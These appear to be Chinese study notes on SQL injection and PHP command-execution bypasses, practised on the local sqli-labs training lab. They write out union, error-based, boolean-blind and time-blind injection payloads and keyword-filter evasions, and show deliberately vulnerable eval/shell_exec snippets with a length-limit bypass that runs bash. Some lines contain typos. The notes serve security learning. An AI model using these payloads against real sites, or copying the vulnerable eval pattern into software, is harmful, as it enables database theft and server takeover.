目录
MySql绕过
空格
可用“%20”“%0d”“%0a”等等消除空格,也可用浮点数消除空格,如下图:
引号
将转换为十六进制,以此消除引号。
127.0.0.1/sqli-labs-php7-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=secrity%27--+
此时,将“select'”换成相对应的十六进制:0x7365637572697479
union、select
将“union”换为“/*!%55NiOn*/”,将“select”换为“/*!%53eLEct”
127.0.0.1/sqli-labs-php7-master/Less-2/?id=-1%20/*!UNiOn*/%20/*!SeLEct*/%201,2,3--+
预编译
LESS46
先试试“sort=2”“sort=4”
127.0.0.1/sqli-labs-php7-master/Less-46/?sort=4
可知,sort为列排序
使用爆破注入
27.0.0.1/sqli-labs-php7-master/Less-46/?sort=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
LESS48
使用sort=rand(true/false)进行判断
127.0.0.1/sqli-labs-php7-master/Less-48/?sort=rand(ascii(left(database(),1))=178)
127.0.0.1/sqli-labs-php7-master/Less-48/?sort=rand(ascii(left(database(),1))=115)
LESS49
使用盲注、延迟注入
127.0.0.1/sqli-labs-php7-master/Less-49/?sort=1%27and%20if((ascii(substr(database(),1,1))>116),sleep(2),0)--+
RCE绕过
EVAL长度限制突破技巧
<?php $param = $_REGUEST['param']; if( strlen($param) < 17 && stripos($param, 'eval') == false && stripos($param, 'assert') == false ){ eval($param); } ?>
这里限制最长字符为16字符,我们可用以下命令执行绕过限制
param=`$_GET[1]`;&1=bash
命令长度限制突破技巧
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 ) {
echo ahell_exec($param);
}
这里将Linux命令长度限制在7个字符
再用“ls -t”命令,查看文件(按创建时间排序)
思考
SQL注入可分为联合查询、报错注入、盲注三大类。其中盲注又可以细分为时间盲注与布尔盲注。
联合查询:适用范围就是页面有数据回显位置,使用联合查询可以直接将数据出在网页上。
报错注入:网页仅存在报错回显,此时我们需要使用特殊的函数让数据库报错,在指定的报错位置输出我们的数据。
盲注:网页无任何回显,但是仍有注入点的页面可以使用。
SQL注入也就是找到注入点,构造攻击语句、攻击语句执行,结果回显。